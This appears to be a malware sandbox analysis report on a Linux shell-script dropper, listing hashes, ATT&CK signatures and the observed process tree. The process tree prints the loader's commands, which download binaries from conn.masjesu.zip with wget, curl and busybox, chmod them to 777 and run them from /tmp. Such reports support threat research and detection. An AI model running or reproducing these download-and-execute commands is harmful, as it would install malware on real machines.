Analysis
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max time kernel
149s -
max time network
149s -
platform
debian-9_mipsel -
resource
debian9-mipsel-20240611-en -
resource tags
arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem -
submitted
25/11/2024, 02:53
Static task
static1
Behavioral task
behavioral1
Sample
b1304bfeb8a1f6b48018012108dcdac58da9eebd03cf9fe784256a37528ada84.sh
Resource
ubuntu1804-amd64-20240508-en
Behavioral task
behavioral2
Sample
b1304bfeb8a1f6b48018012108dcdac58da9eebd03cf9fe784256a37528ada84.sh
Resource
debian9-armhf-20240418-en
Behavioral task
behavioral3
Sample
b1304bfeb8a1f6b48018012108dcdac58da9eebd03cf9fe784256a37528ada84.sh
Resource
debian9-mipsbe-20240418-en
Behavioral task
behavioral4
Sample
b1304bfeb8a1f6b48018012108dcdac58da9eebd03cf9fe784256a37528ada84.sh
Resource
debian9-mipsel-20240611-en
General
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Target
b1304bfeb8a1f6b48018012108dcdac58da9eebd03cf9fe784256a37528ada84.sh
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Size
10KB
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MD5
2128d7e395a2eda74b31415f79e2df84
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SHA1
eaf344e3ed44c9d46fc9aa91743c11475268dd2b
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SHA256
b1304bfeb8a1f6b48018012108dcdac58da9eebd03cf9fe784256a37528ada84
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SHA512
f1a8d87a630d598fce85b893aab3642deed5c779a63c2dc5beab0dfd3a1378e525ad4827d46bb36e8d950fd3fdcd201ba30162865aabba94e1eefe71e68d71a4
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SSDEEP
96:YQMyUi6nL7XUL/TsL40hHbWbSq0+B5NWGAf3IL40/1VQ40dd4/4T41G+x1z1zL1n:tYsMkzAc1G+7JzRr8Ac1G+zJzRrG
Malware Config
Signatures
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File and Directory Permissions Modification 1 TTPs 1 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 823 chmod -
Executes dropped EXE 1 IoCs
ioc pid Process /tmp/Jnxpi2LTAq7X3Q1CRYhQxDDigmLBKHkN59 824 Jnxpi2LTAq7X3Q1CRYhQxDDigmLBKHkN59 -
description ioc Process File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl -
System Network Configuration Discovery 1 TTPs 5 IoCs
Adversaries may gather information about the network configuration of a system.
pid Process 742 curl 822 busybox 826 wget 827 curl 722 wget -
Writes file to tmp directory 1 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/Jnxpi2LTAq7X3Q1CRYhQxDDigmLBKHkN59 curl
Processes
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/tmp/b1304bfeb8a1f6b48018012108dcdac58da9eebd03cf9fe784256a37528ada84.sh/tmp/b1304bfeb8a1f6b48018012108dcdac58da9eebd03cf9fe784256a37528ada84.sh1⤵PID:712
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/bin/rm/bin/rm bins.sh2⤵PID:715
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/usr/bin/wgetwget http://conn.masjesu.zip/bins/Jnxpi2LTAq7X3Q1CRYhQxDDigmLBKHkN592⤵
- System Network Configuration Discovery
PID:722
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/usr/bin/curlcurl -O http://conn.masjesu.zip/bins/Jnxpi2LTAq7X3Q1CRYhQxDDigmLBKHkN592⤵
- Reads runtime system information
- System Network Configuration Discovery
- Writes file to tmp directory
PID:742
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/bin/busybox/bin/busybox wget http://conn.masjesu.zip/bins/Jnxpi2LTAq7X3Q1CRYhQxDDigmLBKHkN592⤵
- System Network Configuration Discovery
PID:822
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/bin/chmodchmod 777 Jnxpi2LTAq7X3Q1CRYhQxDDigmLBKHkN592⤵
- File and Directory Permissions Modification
PID:823
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/tmp/Jnxpi2LTAq7X3Q1CRYhQxDDigmLBKHkN59./Jnxpi2LTAq7X3Q1CRYhQxDDigmLBKHkN592⤵
- Executes dropped EXE
PID:824
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/bin/rmrm Jnxpi2LTAq7X3Q1CRYhQxDDigmLBKHkN592⤵PID:825
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/usr/bin/wgetwget http://conn.masjesu.zip/bins/RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut72⤵
- System Network Configuration Discovery
PID:826
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/usr/bin/curlcurl -O http://conn.masjesu.zip/bins/RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut72⤵
- Reads runtime system information
- System Network Configuration Discovery
PID:827
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
153B
MD5998368d7c95ea4293237f2320546e440
SHA130dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA256533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
SHA512648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97